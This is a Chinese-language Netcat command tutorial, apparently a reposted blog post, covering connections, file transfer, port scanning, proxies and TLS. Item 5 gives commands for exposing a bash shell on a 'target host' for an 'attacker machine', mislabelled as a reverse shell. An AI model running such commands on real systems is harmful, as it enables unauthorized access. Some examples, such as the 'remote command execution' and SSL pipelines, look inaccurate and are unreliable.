Linux命令行系列:Netcat网络工具

发布时间:2024年01月13日

在大多数Linux发行版中,Netcat已经预装。如果需要安装或确保最新版本,请使用系统特定的包管理工具。例如,在Ubuntu上,可以使用以下命令安装Netcat:

sudo apt-get install netcat

1、基本用法是在两台计算机之间建立简单的TCP连接。以下是一个简单的示例

# 在服务器上监听指定端口
nc -l -p 1234

# 在客户端连接到服务器
nc 服务器IP地址 1234

2、在计算机之间传输文件,从一个服务器向另一个服务器传输文件

# 在接收端运行
nc -l -p 1234 > received_file

# 在发送端运行
nc 接收端IP地址 1234 < local_file

3、简单的端口扫描示例

nc -zv 目标主机IP 20-80

4、服务探测

# 命令向目标主机的80端口发送HTTP GET请求,并显示响应。通过观察响应,您可以了解目标主机上是否运行着一个Web服务器
echo "GET /" | nc -v 目标主机IP 80

5、创建反向 Shell

# 在目标主机上运行以下命令:
nc -l -p 4444 -e /bin/bash

# 在攻击者机器上运行
nc 目标主机IP 4444

6、创建简单代理

# 作简单的代理,将数据从一个端口转发到另一个端口
nc -l -p 8080 | nc 目标主机IP 80
或
nc -l -p 8080 -c "nc 目标主机IP 80"

7、数据转发与管道

# 通过管道与其他命令一起使用,实现更复杂的数据处理和转发
nc -l -p 8080 | gzip -d | tar xf -

8、使用 SSL/TLS 连接

# 在服务器端启动SSL监听
openssl s_server -quiet -key server.key -cert server.crt -port 4444 | nc -l -p 8080

# 在客户端连接到SSL服务器
ncat --ssl 目标主机IP 8080

9、使用 stunnel 进行加密

# 在服务器端启动 stunnel
stunnel -d 4444 -r 目标主机IP:8080

# 在客户端连接到加密端口
ncat --ssl localhost 4444

10、查看网络流量

nc -l -p 1234 | tee received_data.txt
或
nc -l -p 1234 > dumped_data.cap

11、自定义数据包格式

echo -n "Hello, Server!" | nc 目标主机IP 1234

12、远程执行命令

# 在远程系统上执行命令并返回结果
nc -w 3 目标主机IP 1234 <<< "ls -l"

13、文件传输

# 在接收端解压缩并保存文件
nc -l -p 1234 | tar xzf -

# 在发送端将文件传输并压缩
tar czf - 文件夹 | nc 目标主机IP 1234

14、监听和转发 UDP 流量

# 在本地监听UDP端口
nc -lu -p 1234

# 将UDP数据流转发到另一台主机
nc -u 目标主机IP 1234

15、Docker 容器中使用 Netcat

# 在一个容器中监听端口
docker run -p 1234:1234 -it alpine nc -l -p 1234

# 在另一个容器中连接到监听的端口
docker run -it alpine nc 目标容器IP 1234

16、结合 Wireshark 进行网络分析

# 在监听端口上启动Netcat
nc -l -p 1234 | wireshark -k -i -


?

文章来源:https://blog.csdn.net/CancerKing/article/details/135567273
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。